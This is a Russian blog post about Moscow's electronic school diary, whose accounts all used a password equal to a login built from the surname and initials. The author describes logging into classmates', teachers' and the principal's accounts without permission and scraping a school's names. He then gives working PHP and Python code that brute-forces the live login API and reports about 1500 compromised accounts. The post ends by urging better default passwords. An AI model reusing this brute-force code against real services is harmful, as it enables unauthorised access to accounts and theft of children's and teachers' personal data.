[Из песочницы] Почему важно не выдавать пользователям простой пароль
В начале года во всех (ну почти) школах Москвы ввели новый электронный дневник. Его использование было обязательно. Разработчиком этого «великолепного» творения был Департамент ИТ города Москвы. Хоть и красивый дизайн, который доступен пользователям Chrome, внушал, что журнал хорош, на деле было наоборот. Фронтенд был написан на Angular, который, используя API дневника, получал все пользовательские данные. Из-за большой нагрузки со всех школ Москвы или плохой оптимизации, скорость работы дневника была низкой и иногда он даже не был доступен. Учителя жаловались о том, что оценки не выставляются и домашнее задание не сохраняется. Ученики и их родители были не довольны кривым отображением расписания и сообщений от учителей. По поводу отсутствия кроссбраузерности и поддержки мобильных девайсов на фоне всего не очень сильно переживали. Также кроме багов и медленной скорости работы была и «особенность».
Посмотрев на свой логин, я заметил особенность, что он состоял из фамилии, первой буквы имени и первой буквы отчества (всё это транслитерируется) и пароль был таким же. Например, у Иванова Ивана Ивановича будет логин и пароль ivanovii, у Сидорова Петра Сергеевича будет sidorovps. В случаи «я» будет меняться на «ya», а не на «ia», и «ц» на «c».
Я решил проверить предположение и взял имя, фамилию и отчество одноклассника и успешно авторизовался под его аккаунтом. Потом я проделал те же действия, взяв имя, фамилию и отчество учителя, и успешно авторизовался под его аккаунтом. Получается любой ученик мог авторизоваться под учителем и менять свои оценки? Я, конечно, понимаю, что у нас в стране не особо занимаются обеспечением безопасности и приватности персональных данных детей (ФИО и даже оценки — персональные данные), но учителя (может быть не все учителя), они не понимают, что можно побеспокоиться о безопасности своих аккаунтов. Самое классное было то, что после я получил доступ к аккаунту директора гимназии, однако позже выяснил, что он не имеет особых привилегий и прав.
Немного покапав модуль сообщений, я смог украсть фамилии, имена и отчества всей школы — учеников, их родителей и учителей. То есть, получив доступ к аккаунту Васи, я мог украсть персональные данные всей его школы и, взломав небольшое количество аккаунтов, я мог украсть перс. данные многих людей. Дальше я решил проверить, правда ли то, что персональные данные большого количества людей находятся под угрозой.
Брутфорс проводился по логинам сгенерированными по выше описанным особенностям и при переборе пароль был эквивалентен логину. Авторизация у журнала шла через их API, которое выдавало auth_token (при правильном логине и пароле) или ошибку (при неправильном логине/пароле). Отправляемые данные состояли из
- login — логин в стандартном виде
- password_hash — md5(pass + »4f8202ccd76210b47b40627c621daa56»)
Хеш генерированная на стороне клиента и отправлялся Ajax запросом вместе с логином на API. Не видел, чтобы где-нибудь в крупном продукте или проекте авторизация происходила так. Странная строка, добавляемая к концу пароля, добавлялась, наверное, для криптостойкости — чтобы хеш трудно было взломать, если его перехватят.
Я написал php скрипт, который принимал login, создавал хеш пароля, с помощью cUrl отправлял запрос на API журнала и возвращал ответ, который состоял из:
- id — идентификатор пользователя
- email — E-mail пользователя (по умолчанию: логин@example.com)
- type — тип аккаунта («teacher», «student», «parent»)
- school_id — идентификатор школы
- school_shortname — название школы
- first_name — имя
- last_name — фамилия
- middle_name — отчество
- authentication_token — токен, который кладётся в cookie, а при следующий запросов на API отправляется в виде HTTP-Header’a
- password_change_required — если «true», журнал предложит сменить пароль
- date_of_birth — дата рождения
- sex — пол
$_GET['login'], "password_hash" => md5($_GET['login'].'4f8202ccd76210b47b40627c621daa56')); // Создаём массив с логином и хешом пароля
$data_string = json_encode($data); // Конвертируем в JSON
$ch = curl_init('https://dnevnik.mos.ru/lms/api/sessions');
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
curl_setopt($ch, CURLOPT_POSTFIELDS, $data_string);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Для того чтобы SSL работал
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Accept: application/vnd.api.v2+json',
'Content-Type: application/json;charset=UTF-8',
'Referer: https://dnevnik.mos.ru/auth',
'Origin: https://dnevnik.mos.ru',
'Content-Length: ' . strlen($data_string))
);
$result = curl_exec($ch);
echo $result; // Выводим ответ API журнала
?>
Сама прога для брутфорса была написана на Python, она отправляла запрос на сервер, где был php скрипт, и записывала ответ в файл, если авторизация проходила успешно.
import urllib.request
def tryToHack(login):
try:
ans = urllib.request.urlopen("http://*******.koding.io/php.php?login="+login).read()
ans = str(ans)
if not str(ans).find("authentication_error") > 1: # Если авторизация прошла успешно, записываем в файл
print(ans[ans.find("'") + 1:-1], file=fout)
except:
pass
fin = open("fam.txt", "r") # Файл с фамилиями
fout = open("out.txt", "w")
surnames = fin.readlines()
for i in range(len(surnames)):
surnames[i] = surnames[i].rstrip()
alp = [chr(i) for i in range(ord('a'), ord('z') + 1)] # Массив английского алфавита
for i in surnames: # Перебираем фамилии
for j in alp: # Перебираем первую букву имени
for k in alp: # Перебираем первую букву отчества
tryToHack(i + j + k)
Я перебрал популярные фамилии (по моему мнению): Иванов, Иванова, Петров, Петрова, Сидороа, Сидорова, Гончаров и Гончарова. Получается 8×26 * 26 (кол-во фамилий * кол-во букв в английском алфавите * кол-во букв в английском алфавите) = 5408 логинов и паролей. Из около 1500 были верные. Около половины из них были с «password_change_required»: true, но пароли никто не менял.
Не стоит вручать пользователям простые пароль, выдавать один пароль на все аккаунты по умолчанию или устанавливать пароль равный логину. Данную «особенность» я нигде больше не видел, так что это вторичное напоминание разработчикам этого «чуда».